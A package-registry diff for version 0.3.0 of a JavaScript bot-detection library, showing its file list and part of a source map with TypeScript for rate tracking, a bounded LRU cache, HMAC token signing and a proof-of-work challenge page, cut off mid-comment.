@osqd/bothandlerjs 0.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (186) hide show
  1. package/CHANGELOG.md +516 -0
  2. package/LICENSE +102 -0
  3. package/README.md +308 -0
  4. package/bin/bothandlerjs.mjs +14 -0
  5. package/dist/actions/index.d.ts +22 -0
  6. package/dist/actions/types.d.ts +59 -0
  7. package/dist/adapters/fastify.d.ts +43 -0
  8. package/dist/adapters/fetch.d.ts +51 -0
  9. package/dist/adapters/index.cjs +723 -0
  10. package/dist/adapters/index.cjs.map +1 -0
  11. package/dist/adapters/index.d.ts +8 -0
  12. package/dist/adapters/index.js +692 -0
  13. package/dist/adapters/index.js.map +1 -0
  14. package/dist/adapters/koa.d.ts +27 -0
  15. package/dist/adapters/node.d.ts +29 -0
  16. package/dist/adapters/shared.d.ts +39 -0
  17. package/dist/audit.d.ts +172 -0
  18. package/dist/challenge/index.d.ts +176 -0
  19. package/dist/challenge/language.d.ts +57 -0
  20. package/dist/challenge/page.d.ts +42 -0
  21. package/dist/challenge/pow.d.ts +33 -0
  22. package/dist/challenge/token.d.ts +72 -0
  23. package/dist/cli.cjs +13388 -0
  24. package/dist/cli.cjs.map +1 -0
  25. package/dist/cli.d.ts +5 -0
  26. package/dist/cli.js +13358 -0
  27. package/dist/cli.js.map +1 -0
  28. package/dist/client/index.cjs +139 -0
  29. package/dist/client/index.cjs.map +1 -0
  30. package/dist/client/index.d.ts +63 -0
  31. package/dist/client/index.js +112 -0
  32. package/dist/client/index.js.map +1 -0
  33. package/dist/config.d.ts +316 -0
  34. package/dist/core.d.ts +443 -0
  35. package/dist/corpus/adversarial.d.ts +2 -0
  36. package/dist/corpus/advertising-email.d.ts +2 -0
  37. package/dist/corpus/ai-crawlers.d.ts +2 -0
  38. package/dist/corpus/benign-bots.d.ts +2 -0
  39. package/dist/corpus/cdn-gateways.d.ts +2 -0
  40. package/dist/corpus/cookies.d.ts +49 -0
  41. package/dist/corpus/crawlers-regional.d.ts +2 -0
  42. package/dist/corpus/crawlers-vertical.d.ts +2 -0
  43. package/dist/corpus/headers.d.ts +403 -0
  44. package/dist/corpus/humans-apps.d.ts +2 -0
  45. package/dist/corpus/humans-browsers.d.ts +2 -0
  46. package/dist/corpus/humans.d.ts +2 -0
  47. package/dist/corpus/index.cjs +4196 -0
  48. package/dist/corpus/index.cjs.map +1 -0
  49. package/dist/corpus/index.d.ts +37 -0
  50. package/dist/corpus/index.js +4132 -0
  51. package/dist/corpus/index.js.map +1 -0
  52. package/dist/corpus/infrastructure.d.ts +17 -0
  53. package/dist/corpus/libraries-extended.d.ts +2 -0
  54. package/dist/corpus/ranges.d.ts +31 -0
  55. package/dist/corpus/reputation.d.ts +21 -0
  56. package/dist/corpus/runner.d.ts +130 -0
  57. package/dist/corpus/schema.d.ts +185 -0
  58. package/dist/corpus/tooling.d.ts +2 -0
  59. package/dist/corpus/unwanted.d.ts +2 -0
  60. package/dist/crawler-ranges.d.ts +113 -0
  61. package/dist/dashboard/client.generated.d.ts +7 -0
  62. package/dist/dashboard/feed.d.ts +186 -0
  63. package/dist/dashboard/index.d.ts +5 -0
  64. package/dist/dashboard/page.d.ts +51 -0
  65. package/dist/dashboard/parse-request.d.ts +28 -0
  66. package/dist/dashboard/preview.d.ts +45 -0
  67. package/dist/dashboard/server.d.ts +70 -0
  68. package/dist/dashboard/types.d.ts +714 -0
  69. package/dist/detectors/accept-signature.d.ts +6 -0
  70. package/dist/detectors/browsing-coherence.d.ts +44 -0
  71. package/dist/detectors/cadence.d.ts +28 -0
  72. package/dist/detectors/clearance.d.ts +25 -0
  73. package/dist/detectors/client-hints.d.ts +19 -0
  74. package/dist/detectors/client-signals.d.ts +27 -0
  75. package/dist/detectors/crawl-breadth.d.ts +28 -0
  76. package/dist/detectors/crawler-verification.d.ts +39 -0
  77. package/dist/detectors/fetch-metadata.d.ts +20 -0
  78. package/dist/detectors/header-integrity.d.ts +26 -0
  79. package/dist/detectors/header-order.d.ts +27 -0
  80. package/dist/detectors/identity-rotation.d.ts +34 -0
  81. package/dist/detectors/index.d.ts +56 -0
  82. package/dist/detectors/ip-intelligence.d.ts +30 -0
  83. package/dist/detectors/known-bots.d.ts +94 -0
  84. package/dist/detectors/probe-signature.d.ts +50 -0
  85. package/dist/detectors/rate-anomaly.d.ts +36 -0
  86. package/dist/detectors/self-identified.d.ts +33 -0
  87. package/dist/detectors/session-integrity.d.ts +24 -0
  88. package/dist/detectors/tls-fingerprint.d.ts +34 -0
  89. package/dist/detectors/trap.d.ts +98 -0
  90. package/dist/detectors/types.d.ts +70 -0
  91. package/dist/detectors/ua-coherence.d.ts +32 -0
  92. package/dist/evidence.d.ts +45 -0
  93. package/dist/facts.d.ts +46 -0
  94. package/dist/index.cjs +9600 -0
  95. package/dist/index.cjs.map +1 -0
  96. package/dist/index.d.ts +63 -0
  97. package/dist/index.js +9444 -0
  98. package/dist/index.js.map +1 -0
  99. package/dist/internal/async.d.ts +16 -0
  100. package/dist/internal/clock.d.ts +17 -0
  101. package/dist/internal/crypto.d.ts +26 -0
  102. package/dist/internal/dns.d.ts +100 -0
  103. package/dist/internal/emitter.d.ts +18 -0
  104. package/dist/internal/http.d.ts +22 -0
  105. package/dist/internal/ip.d.ts +73 -0
  106. package/dist/internal/lru.d.ts +34 -0
  107. package/dist/internal/matcher.d.ts +41 -0
  108. package/dist/internal/pattern.d.ts +14 -0
  109. package/dist/internal/ua.d.ts +92 -0
  110. package/dist/metrics.d.ts +120 -0
  111. package/dist/notify/hub.d.ts +70 -0
  112. package/dist/notify/index.d.ts +7 -0
  113. package/dist/notify/redact.d.ts +48 -0
  114. package/dist/notify/sinks.d.ts +62 -0
  115. package/dist/notify/types.d.ts +56 -0
  116. package/dist/policy/index.d.ts +7 -0
  117. package/dist/policy/match.d.ts +20 -0
  118. package/dist/policy/policy.d.ts +123 -0
  119. package/dist/policy/presets.d.ts +161 -0
  120. package/dist/policy/types.d.ts +155 -0
  121. package/dist/robots.d.ts +83 -0
  122. package/dist/state.d.ts +161 -0
  123. package/dist/stores/index.d.ts +5 -0
  124. package/dist/stores/memory.d.ts +33 -0
  125. package/dist/stores/redis.d.ts +59 -0
  126. package/dist/stores/types.d.ts +37 -0
  127. package/dist/types.d.ts +250 -0
  128. package/docs/challenge/index.md +152 -0
  129. package/docs/challenge/localisation.md +105 -0
  130. package/docs/concepts/actors.md +113 -0
  131. package/docs/concepts/evidence.md +133 -0
  132. package/docs/concepts/the-guard.md +121 -0
  133. package/docs/concepts/threat-model.md +120 -0
  134. package/docs/concepts/verdicts.md +108 -0
  135. package/docs/course/01-first-assessment.md +178 -0
  136. package/docs/course/02-proof-and-suspicion.md +164 -0
  137. package/docs/course/03-verdicts-and-scores.md +160 -0
  138. package/docs/course/04-the-guard.md +200 -0
  139. package/docs/course/05-detectors.md +178 -0
  140. package/docs/course/06-identity.md +161 -0
  141. package/docs/course/07-actors.md +178 -0
  142. package/docs/course/08-traps.md +183 -0
  143. package/docs/course/09-rules.md +224 -0
  144. package/docs/course/10-actions-and-presets.md +216 -0
  145. package/docs/course/11-the-challenge.md +227 -0
  146. package/docs/course/12-going-live.md +211 -0
  147. package/docs/course/13-operating-it.md +238 -0
  148. package/docs/course/14-scaling.md +195 -0
  149. package/docs/course/15-extending.md +259 -0
  150. package/docs/course/16-proving-it.md +266 -0
  151. package/docs/course/index.md +112 -0
  152. package/docs/design/decisions.md +216 -0
  153. package/docs/detection/client-signals.md +96 -0
  154. package/docs/detection/detectors.md +376 -0
  155. package/docs/detection/index.md +134 -0
  156. package/docs/detection/signatures.md +111 -0
  157. package/docs/detection/verification.md +123 -0
  158. package/docs/detection/writing-a-detector.md +145 -0
  159. package/docs/index.md +100 -0
  160. package/docs/integration/adapters.md +138 -0
  161. package/docs/integration/client-ip.md +114 -0
  162. package/docs/integration/index.md +55 -0
  163. package/docs/integration/stores.md +76 -0
  164. package/docs/operations/audit.md +116 -0
  165. package/docs/operations/dashboard.md +725 -0
  166. package/docs/operations/index.md +101 -0
  167. package/docs/operations/metrics.md +74 -0
  168. package/docs/operations/notifications.md +72 -0
  169. package/docs/operations/runtime-changes.md +118 -0
  170. package/docs/policy/actions.md +196 -0
  171. package/docs/policy/index.md +84 -0
  172. package/docs/policy/presets.md +191 -0
  173. package/docs/policy/robots.md +128 -0
  174. package/docs/policy/rules.md +134 -0
  175. package/docs/reference/api.md +126 -0
  176. package/docs/reference/configuration.md +175 -0
  177. package/docs/start/choosing-a-policy.md +127 -0
  178. package/docs/start/first-integration.md +127 -0
  179. package/docs/start/installation.md +63 -0
  180. package/docs/start/upgrading.md +72 -0
  181. package/docs/testing/cli.md +119 -0
  182. package/docs/testing/corpus.md +129 -0
  183. package/docs/testing/index.md +61 -0
  184. package/docs/testing/replay.md +102 -0
  185. package/docs/testing/try-it.md +189 -0
  186. package/package.json +145 -0
@@ -0,0 +1 @@
1
+ {"version":3,"sources":["../src/internal/clock.ts","../src/internal/lru.ts","../src/state.ts","../src/internal/crypto.ts","../src/challenge/page.ts","../src/challenge/language.ts","../src/challenge/pow.ts","../src/challenge/token.ts","../src/internal/http.ts","../src/challenge/index.ts","../src/internal/emitter.ts","../src/stores/memory.ts","../src/types.ts","../src/policy/types.ts","../src/metrics.ts","../src/audit.ts","../src/internal/ip.ts","../src/notify/redact.ts","../src/notify/hub.ts","../src/internal/pattern.ts","../src/evidence.ts","../src/policy/match.ts","../src/policy/policy.ts","../src/internal/dns.ts","../src/detectors/clearance.ts","../src/internal/matcher.ts","../src/detectors/known-bots.ts","../src/actions/index.ts","../src/internal/ua.ts","../src/detectors/accept-signature.ts","../src/detectors/browsing-coherence.ts","../src/detectors/cadence.ts","../src/detectors/types.ts","../src/detectors/client-hints.ts","../src/detectors/crawl-breadth.ts","../src/detectors/crawler-verification.ts","../src/detectors/fetch-metadata.ts","../src/detectors/header-integrity.ts","../src/detectors/header-order.ts","../src/detectors/ip-intelligence.ts","../src/detectors/probe-signature.ts","../src/detectors/rate-anomaly.ts","../src/detectors/self-identified.ts","../src/detectors/session-integrity.ts","../src/detectors/trap.ts","../src/detectors/ua-coherence.ts","../src/detectors/index.ts","../src/policy/presets.ts","../src/config.ts","../src/internal/async.ts","../src/dashboard/feed.ts","../src/dashboard/preview.ts","../src/dashboard/client.generated.ts","../src/dashboard/page.ts","../src/robots.ts","../src/facts.ts","../src/dashboard/parse-request.ts","../src/dashboard/server.ts","../src/dashboard/index.ts","../src/core.ts","../src/corpus/headers.ts","../src/corpus/schema.ts","../src/corpus/ranges.ts","../src/corpus/ai-crawlers.ts","../src/corpus/adversarial.ts","../src/corpus/benign-bots.ts","../src/corpus/crawlers-regional.ts","../src/corpus/crawlers-vertical.ts","../src/corpus/advertising-email.ts","../src/corpus/cookies.ts","../src/corpus/cdn-gateways.ts","../src/corpus/humans-browsers.ts","../src/corpus/humans-apps.ts","../src/corpus/humans.ts","../src/corpus/infrastructure.ts","../src/corpus/reputation.ts","../src/corpus/libraries-extended.ts","../src/corpus/tooling.ts","../src/corpus/unwanted.ts","../src/corpus/runner.ts","../src/corpus/index.ts","../src/cli.ts"],"sourcesContent":["/**\n * Injectable time. Every stateful detector reads `now()` from here rather than\n * calling `Date.now()`, which is what makes rate, cadence and expiry logic testable\n * without sleeping and without flaky wall-clock assumptions.\n */\nexport interface Clock {\n now(): number;\n}\n\nexport const systemClock: Clock = { now: () => Date.now() };\n\n/** Test double: time only advances when you say so. */\nexport class ManualClock implements Clock {\n constructor(private current = 0) {}\n now(): number {\n return this.current;\n }\n advance(ms: number): void {\n this.current += ms;\n }\n set(ms: number): void {\n this.current = ms;\n }\n}\n","import type { Clock } from \"./clock.js\";\nimport { systemClock } from \"./clock.js\";\n\ninterface Entry<V> {\n value: V;\n expiresAt: number;\n}\n\n/**\n * Bounded map with per-entry TTL and least-recently-used eviction.\n *\n * The bound is a security property, not a nicety. Every per-actor structure in this\n * library is keyed by something an attacker controls (an IP, a fingerprint), so an\n * unbounded map is a remote OOM waiting to happen. Capacity is enforced on every\n * insert; expiry is checked lazily on read plus a bounded sweep on insert, so a\n * quiet process never keeps a timer alive.\n */\nexport class TtlLru<V> {\n private readonly entries = new Map<string, Entry<V>>();\n\n constructor(\n private readonly capacity: number,\n private readonly ttlMs: number,\n private readonly clock: Clock = systemClock,\n ) {\n if (capacity < 1) throw new RangeError(\"TtlLru capacity must be at least 1\");\n }\n\n get size(): number {\n return this.entries.size;\n }\n\n /**\n * Every live value, most recently used last — the Map's own insertion order, which\n * `get` and `set` maintain.\n *\n * Expired entries are skipped rather than deleted, because this is a read: a caller\n * listing what is in the cache should not be the thing that evicts from it, and the\n * next `get` or `set` on that key will clear it anyway.\n */\n values(): V[] {\n const now = this.clock.now();\n const live: V[] = [];\n for (const entry of this.entries.values()) if (entry.expiresAt > now) live.push(entry.value);\n return live;\n }\n\n get(key: string): V | undefined {\n const entry = this.entries.get(key);\n if (!entry) return undefined;\n if (entry.expiresAt <= this.clock.now()) {\n this.entries.delete(key);\n return undefined;\n }\n // Re-insert to move to the end: Map preserves insertion order, so the first\n // key is always the least recently used.\n this.entries.delete(key);\n this.entries.set(key, entry);\n return entry.value;\n }\n\n set(key: string, value: V): void {\n const now = this.clock.now();\n this.entries.delete(key);\n this.entries.set(key, { value, expiresAt: now + this.ttlMs });\n if (this.entries.size > this.capacity) this.evict(now);\n }\n\n /** Reads, or creates via `factory` and stores. The common read-modify-write path. */\n getOrCreate(key: string, factory: () => V): V {\n const existing = this.get(key);\n if (existing !== undefined) return existing;\n const created = factory();\n this.set(key, created);\n return created;\n }\n\n delete(key: string): void {\n this.entries.delete(key);\n }\n\n clear(): void {\n this.entries.clear();\n }\n\n private evict(now: number): void {\n // Sweep a bounded number of expired entries first — reclaiming dead space is\n // always better than evicting a live actor. The cap keeps insert O(1)-ish.\n let scanned = 0;\n for (const [key, entry] of this.entries) {\n if (scanned++ >= 32) break;\n if (entry.expiresAt <= now) this.entries.delete(key);\n }\n while (this.entries.size > this.capacity) {\n const oldest = this.entries.keys().next();\n if (oldest.done === true) break;\n this.entries.delete(oldest.value);\n }\n }\n}\n","import { TtlLru } from \"./internal/lru.js\";\nimport type { Clock } from \"./internal/clock.js\";\nimport type { ActorSnapshot, RequestFacts } from \"./types.js\";\n\n/**\n * Per-actor behavioural memory.\n *\n * Everything here is bounded by construction. An actor's history is a fixed-size\n * ring of timestamps and a capped set of paths, and the registry holding actors is\n * itself a bounded LRU. There is no configuration that makes any of it grow without\n * limit, because every key in this file is attacker-chosen.\n *\n * This state is deliberately **process-local**. The alternative — a network\n * round-trip per request to read a shared series — would put a store on the critical\n * path of every request to buy accuracy for signals that are, by design, only ever\n * allowed to raise suspicion rather than block. Shared counting is available where\n * it actually pays for itself: see the `CounterStore` used by rate limiting.\n */\n\n/**\n * Per-actor caps.\n *\n * These are a memory budget, and the arithmetic is worth doing explicitly because it\n * is what stops a bot-detection library from becoming the reason a service falls\n * over. At the defaults — 20,000 tracked actors — one actor costs roughly 32 arrival\n * timestamps (256 bytes), 64 path hashes, and up to 4 User-Agent strings, which lands\n * a full registry in the low tens of megabytes rather than the hundreds.\n *\n * Paths are stored as 32-bit hashes rather than strings for the same reason: 64 URLs\n * per actor, kept as strings, is kilobytes per actor and gigabytes per registry.\n * Hashes collide, so `distinctPaths` is a slight undercount — entirely acceptable for\n * a signal that is only ever allowed to be `weak`.\n */\nconst TIMESTAMP_RING = 32;\nconst PATH_CAP = 64;\nconst UA_CAP = 4;\n\n/**\n * The ceilings a detector's thresholds have to live under.\n *\n * Exported because they are not an implementation detail to anyone configuring a\n * threshold: an actor's arrival count and distinct-User-Agent count both saturate\n * here, so a threshold above them can never be reached and the detector is silently\n * switched off. That is the failure this library refuses to ship elsewhere — a\n * control that looks configured and is not — so the detectors check against these and\n * refuse to be built that way.\n */\nexport const MAX_TRACKED_ARRIVALS = TIMESTAMP_RING;\nexport const MAX_TRACKED_PATHS = PATH_CAP;\nexport const MAX_TRACKED_USER_AGENTS = UA_CAP;\n\nexport class ActorState {\n readonly key: string;\n readonly firstSeen: number;\n lastSeen: number;\n /** Total requests seen in this actor's lifetime within the registry window. */\n total = 0;\n /** Assessments *this process* concluded were `confirmed-bot`. */\n confirmations = 0;\n /**\n * Confirmations other replicas had already recorded when this instance first saw the\n * actor, or `undefined` when nothing shared them.\n *\n * Kept apart from the local count rather than added into it, so that the two facts\n * stay distinguishable: what we saw, and what we were told. `priorConfirmations` is\n * their sum, which is the number a rule means when it says\n * `minPriorConfirmations: 1`.\n */\n sharedConfirmations: number | undefined;\n /** Epoch ms until which a valid human clearance token stands. */\n clearedUntil = 0;\n /**\n * Challenges issued to this actor that no solution ever came back for.\n *\n * Incremented when one is issued and cleared when one is solved, so it is the number\n * *outstanding* rather than a lifetime total: an actor challenged five times that\n * solved the fifth reads zero, and one challenged five times that solved none reads\n * five.\n *\n * The distinction is the whole signal. A person who abandons one challenge is\n * ordinary — a slow phone, a lost tab, a change of mind. A client that has been asked\n * five times and never once come back is not abandoning; it is unable or unwilling,\n * and both of those are facts about software.\n */\n unsolvedChallenges = 0;\n\n private readonly timestamps = new Float64Array(TIMESTAMP_RING);\n private ringLength = 0;\n private ringNext = 0;\n private readonly paths = new Set<number>();\n private pathsOverflowed = false;\n private pathsSaturatedAtTotal = 0;\n private readonly userAgents = new Set<string>();\n\n constructor(key: string, now: number) {\n this.key = key;\n this.firstSeen = now;\n this.lastSeen = now;\n }\n\n /** Records an arrival. Called exactly once per request, by the engine. */\n record(facts: RequestFacts): void {\n this.total++;\n this.lastSeen = facts.timestamp;\n this.timestamps[this.ringNext] = facts.timestamp;\n this.ringNext = (this.ringNext + 1) % TIMESTAMP_RING;\n if (this.ringLength < TIMESTAMP_RING) this.ringLength++;\n\n const pathHash = hashString(facts.path);\n if (this.paths.size < PATH_CAP) this.paths.add(pathHash);\n else if (!this.paths.has(pathHash) && !this.pathsOverflowed) {\n this.pathsOverflowed = true;\n // The request count at the moment counting stopped being possible. Without it\n // the only ratio available is `PATH_CAP / total`, which decays towards zero as\n // an actor keeps going — so the heavier the crawl, the more it resembles\n // somebody rereading one page.\n this.pathsSaturatedAtTotal = this.total;\n }\n\n const ua = facts.headers[\"user-agent\"];\n if (ua !== undefined && this.userAgents.size < UA_CAP) this.userAgents.add(ua);\n }\n\n /** Distinct paths seen, by hash. Saturates at {@link PATH_CAP}; `pathsSaturated` says whether it did. */\n get distinctPaths(): number {\n return this.paths.size;\n }\n\n get pathsSaturated(): boolean {\n return this.pathsOverflowed;\n }\n\n /**\n * Requests seen when {@link distinctPaths} stopped being able to grow, or 0 if it\n * still can. Over that many requests the distinct count is exact, so it is the only\n * window in which a novelty ratio means anything.\n */\n get requestsWhenPathsSaturated(): number {\n return this.pathsSaturatedAtTotal;\n }\n\n /** Distinct User-Agent strings. More than one from a single actor is unusual for a person. */\n get distinctUserAgents(): number {\n return this.userAgents.size;\n }\n\n /** Milliseconds since the previous request, or `undefined` when this is the first. */\n sinceLast(now: number): number | undefined {\n if (this.ringLength < 2) return undefined;\n const previousIndex = (this.ringNext - 2 + TIMESTAMP_RING) % TIMESTAMP_RING;\n return now - this.timestamps[previousIndex]!;\n }\n\n /**\n * Requests received in the last `windowMs`.\n *\n * Saturates at {@link TIMESTAMP_RING}: a very heavy actor is reported as exactly\n * that number, not its true rate, and `ringSaturated` says so. That ceiling is\n * deliberate. This series exists to *describe* an actor cheaply, and precise\n * counting belongs to the rate-limit action, which uses the store and is exact.\n */\n requestsWithin(windowMs: number, now: number): number {\n const cutoff = now - windowMs;\n let count = 0;\n for (let i = 0; i < this.ringLength; i++) {\n if (this.timestamps[i]! > cutoff) count++;\n }\n return count;\n }\n\n /** True when the ring is full, i.e. `requestsWithin` may be undercounting a heavy actor. */\n get ringSaturated(): boolean {\n return this.ringLength === TIMESTAMP_RING;\n }\n\n /**\n * Gaps between consecutive arrivals, oldest first. The cadence detector looks at\n * the *variance* of these: a person's gaps are ragged, a `setInterval` loop's are\n * not.\n */\n intervals(): number[] {\n if (this.ringLength < 2) return [];\n const ordered: number[] = [];\n const start = this.ringLength < TIMESTAMP_RING ? 0 : this.ringNext;\n for (let i = 0; i < this.ringLength; i++) {\n ordered.push(this.timestamps[(start + i) % TIMESTAMP_RING]!);\n }\n const gaps: number[] = [];\n for (let i = 1; i < ordered.length; i++) gaps.push(ordered[i]! - ordered[i - 1]!);\n return gaps;\n }\n\n /**\n * Mean and dispersion of the arrival gaps, in one pass and without allocating.\n *\n * `intervals()` builds two arrays to answer the same question, and the cadence\n * detector asks it on every request from every actor with enough history. Welford's\n * algorithm gives the same numbers in a single walk of the ring with no garbage —\n * and, incidentally, without the catastrophic cancellation that the naive\n * sum-of-squares form suffers when gaps are large and their variance is small,\n * which is precisely the machine-regular case this statistic exists to detect.\n */\n intervalStats(): { count: number; mean: number; coefficientOfVariation: number } {\n if (this.ringLength < 2) return { count: 0, mean: 0, coefficientOfVariation: 0 };\n\n const start = this.ringLength < TIMESTAMP_RING ? 0 : this.ringNext;\n let previous = this.timestamps[start % TIMESTAMP_RING]!;\n let count = 0;\n let mean = 0;\n let m2 = 0;\n\n for (let i = 1; i < this.ringLength; i++) {\n const current = this.timestamps[(start + i) % TIMESTAMP_RING]!;\n const gap = current - previous;\n previous = current;\n count++;\n const delta = gap - mean;\n mean += delta / count;\n m2 += delta * (gap - mean);\n }\n\n if (count === 0 || mean <= 0) return { count, mean, coefficientOfVariation: 0 };\n return { count, mean, coefficientOfVariation: Math.sqrt(m2 / count) / mean };\n }\n\n snapshot(now: number): ActorSnapshot {\n return {\n key: this.key,\n requests: this.total,\n distinctPaths: this.distinctPaths,\n firstSeen: this.firstSeen,\n lastSeen: this.lastSeen,\n sinceLastMs: this.sinceLast(now),\n priorConfirmations: this.confirmations + (this.sharedConfirmations ?? 0),\n unsolvedChallenges: this.unsolvedChallenges,\n cleared: this.clearedUntil > now,\n };\n }\n}\n\nexport interface ActorRegistryOptions {\n /** How long an idle actor is remembered. Default 900000 (15 min). */\n windowMs?: number;\n /** Maximum actors tracked concurrently. Default 20000. See the cap arithmetic above. */\n maxActors?: number;\n}\n\n/**\n * One actor as a list can show it: the snapshot every rule reads, plus the two\n * behavioural measures a person scanning for the worst offender actually wants.\n */\nexport interface ActorSummary extends ActorSnapshot {\n /** Requests in the last minute — a rate, where `requests` is a total. */\n recentRate: number;\n distinctUserAgents: number;\n /** Regularity of the gaps between requests. Near zero is metronomic; `undefined` is too few gaps to say. */\n cadenceCv: number | undefined;\n}\n\n/** Bounded LRU of {@link ActorState}, keyed by whatever `actorKey` produced. */\nexport class ActorRegistry {\n private readonly actors: TtlLru<ActorState>;\n\n constructor(\n private readonly clock: Clock,\n options: ActorRegistryOptions = {},\n ) {\n this.actors = new TtlLru<ActorState>(options.maxActors ?? 20_000, options.windowMs ?? 900_000, clock);\n }\n\n get size(): number {\n return this.actors.size;\n }\n\n /** Fetches or creates the state for `key` and records this request against it. */\n /**\n * Called once for each actor this registry has not seen before.\n *\n * The hook exists so `BotHandler` can go and ask the store what other replicas know\n * about a newcomer, without the registry itself learning what a store is. It fires\n * exactly once per actor per instance — not once per request — which is the whole\n * reason this is affordable: the thing `state.ts` refuses to do is a round trip on\n * the request path, not a round trip ever.\n */\n onFirstSight?: (state: ActorState) => void;\n\n observe(key: string, facts: RequestFacts): ActorState {\n // `get` then `set`, rather than `getOrCreate` then `set`. Both refresh the LRU\n // position, so going through `getOrCreate` first did the same delete-and-reinsert\n // twice on the hot path — once for nothing. The `set` is what must happen either\n // way: it refreshes the TTL as well as the position, so an actor still sending\n // traffic is never the one evicted to make room.\n const existing = this.actors.get(key);\n const state = existing ?? new ActorState(key, facts.timestamp);\n state.record(facts);\n this.actors.set(key, state);\n if (existing === undefined) this.onFirstSight?.(state);\n return state;\n }\n\n /** Reads without recording. Used by the clearance path, which must not inflate rates. */\n peek(key: string): ActorState | undefined {\n return this.actors.get(key);\n }\n\n /**\n * The busiest actors the registry is currently holding, most requests first.\n *\n * The registry knows about far more actors than any feed does — up to `maxActors`,\n * each with its rate series, its path breadth and its confirmations — while a\n * dashboard's ring holds a few hundred *requests*, which on a busy origin is a few\n * seconds. \"Who is hitting me hardest right now\" is a question only this can answer,\n * and until this method existed nothing could ask it.\n *\n * A read, and only a read: it neither records a request against an actor nor moves\n * one up the LRU, so watching the list cannot change what it lists.\n */\n top(limit: number, now: number): ActorSummary[] {\n const summaries = this.actors.values().map((state) => {\n const cadence = state.intervalStats();\n return {\n ...state.snapshot(now),\n recentRate: state.requestsWithin(60_000, now),\n distinctUserAgents: state.distinctUserAgents,\n // Undefined rather than zero when there are too few gaps to say anything: a\n // coefficient of variation over one interval is not a measurement, and zero is\n // the value that means \"perfectly metronomic\".\n cadenceCv: cadence.count >= 3 ? cadence.coefficientOfVariation : undefined,\n };\n });\n summaries.sort((a, b) => b.requests - a.requests);\n return summaries.slice(0, Math.max(0, limit));\n }\n\n forget(key: string): void {\n this.actors.delete(key);\n }\n\n clear(): void {\n this.actors.clear();\n }\n\n /** Marks an actor as holding valid human clearance until `until`. */\n clearUntil(key: string, until: number): void {\n const state = this.actors.getOrCreate(key, () => new ActorState(key, this.clock.now()));\n state.clearedUntil = Math.max(state.clearedUntil, until);\n this.actors.set(key, state);\n }\n}\n\n/**\n * FNV-1a, 32-bit. Not cryptographic and not meant to be — it identifies repeat visits\n * to the same path within one actor's short window, where a collision costs one\n * undercounted path in a `weak` signal.\n */\nfunction hashString(value: string): number {\n let hash = 0x811c9dc5;\n for (let i = 0; i < value.length; i++) {\n hash ^= value.charCodeAt(i);\n hash = Math.imul(hash, 0x01000193);\n }\n return hash >>> 0;\n}\n","import { createHmac, randomBytes, timingSafeEqual } from \"node:crypto\";\n\n/**\n * Signing and comparison primitives for clearance tokens.\n *\n * Two rules govern everything in this file. Tokens are signed, never encrypted —\n * their contents are readable by the client and must contain nothing secret. And\n * every comparison of a secret-derived value goes through {@link constantTimeEqual},\n * because a token verifier is exactly the kind of oracle a timing attack likes.\n */\n\nexport function base64UrlEncode(input: Uint8Array | string): string {\n const buffer = typeof input === \"string\" ? Buffer.from(input, \"utf8\") : Buffer.from(input);\n return buffer.toString(\"base64url\");\n}\n\nexport function base64UrlDecode(input: string): Buffer {\n return Buffer.from(input, \"base64url\");\n}\n\n/** HMAC-SHA256, returned as base64url. */\nexport function sign(payload: string, secret: string): string {\n return createHmac(\"sha256\", secret).update(payload, \"utf8\").digest(\"base64url\");\n}\n\n/**\n * Constant-time string comparison. Falls back to a `false` return on\n * length mismatch — the length of a signature is not a secret, so leaking it is\n * fine, and `timingSafeEqual` throws on unequal lengths.\n */\nexport function constantTimeEqual(a: string, b: string): boolean {\n const left = Buffer.from(a, \"utf8\");\n const right = Buffer.from(b, \"utf8\");\n if (left.length !== right.length) return false;\n return timingSafeEqual(left, right);\n}\n\n/**\n * Bytes drawn from the CSPRNG in bulk.\n *\n * `randomBytes` is a syscall-backed call, and at roughly three microseconds it was\n * the most expensive single operation in assessing a request — more than every\n * detector put together. Drawing 4 KB at a time and handing out slices amortises that\n * over several hundred ids.\n *\n * This is a batching change, not a weakening one: the bytes still come from the same\n * CSPRNG, no byte is ever handed out twice, and the pool is refilled rather than\n * cycled. Node's `child_process`/`cluster` spawn re-executes the module, so a worker\n * never inherits a parent's partially-consumed pool the way a real `fork(2)` would.\n */\nconst POOL_BYTES = 4096;\nlet pool = randomBytes(POOL_BYTES);\nlet poolOffset = 0;\n\n/** URL-safe random id. 16 bytes is 128 bits — collision-free for request ids and nonces. */\nexport function randomId(bytes = 16): string {\n if (bytes > POOL_BYTES) return randomBytes(bytes).toString(\"base64url\");\n if (poolOffset + bytes > POOL_BYTES) {\n pool = randomBytes(POOL_BYTES);\n poolOffset = 0;\n }\n const id = pool.toString(\"base64url\", poolOffset, poolOffset + bytes);\n poolOffset += bytes;\n return id;\n}\n\n/**\n * SHA-256 truncated to 128 bits, base64url. Used to derive stable, non-reversible\n * keys from values we do not want to store in the clear (IP-based actor keys when\n * `hashActorKeys` is on, header-order fingerprints).\n */\nexport function shortHash(value: string, secret = \"\"): string {\n return createHmac(\"sha256\", secret).update(value, \"utf8\").digest(\"base64url\").slice(0, 22);\n}\n","import { randomId } from \"../internal/crypto.js\";\n\nexport interface ChallengePageOptions {\n /** Signed challenge blob the client must solve and return. */\n challenge: string;\n /** Leading zero bits required. */\n difficulty: number;\n /** Where the solution is POSTed. */\n verifyPath: string;\n /** Shown as the page heading. Default \"Checking your browser\". */\n title?: string;\n /** Shown under the heading. Keep it short and non-accusatory. */\n message?: string;\n /** Where a person who cannot complete the check should turn. Strongly recommended. */\n contactHtml?: string;\n /** Page language for the `lang` attribute. Default \"en\". */\n lang?: string;\n}\n\nexport interface RenderedChallenge {\n html: string;\n /**\n * Nonce for the inline script. Put it in your CSP as `script-src 'nonce-…'`.\n * The action layer does this for you; it is exposed for hand-rolled responses.\n */\n scriptNonce: string;\n}\n\n/**\n * Renders the interstitial that carries the proof-of-work challenge.\n *\n * Design constraints, in the order they mattered:\n *\n * 1. **No external resources.** No CDN, no font, no image, no analytics. A page shown\n * to a client under suspicion must not become a way to make that client fetch\n * something else, and it has to work when the rest of your site is being shielded.\n * 2. **Accessible.** People using screen readers hit these pages, and a check they\n * cannot perceive is indistinguishable from a broken site. The status is a live\n * region, focus is managed, and the failure state gives a real way to get help.\n * 3. **Honest with the visitor.** No fake progress bar, no \"verifying you are human\"\n * when what is actually being verified is that a JavaScript engine is present.\n * 4. **A visible way out.** `contactHtml` is not decoration. Anyone on a browser\n * without WebCrypto, with JavaScript 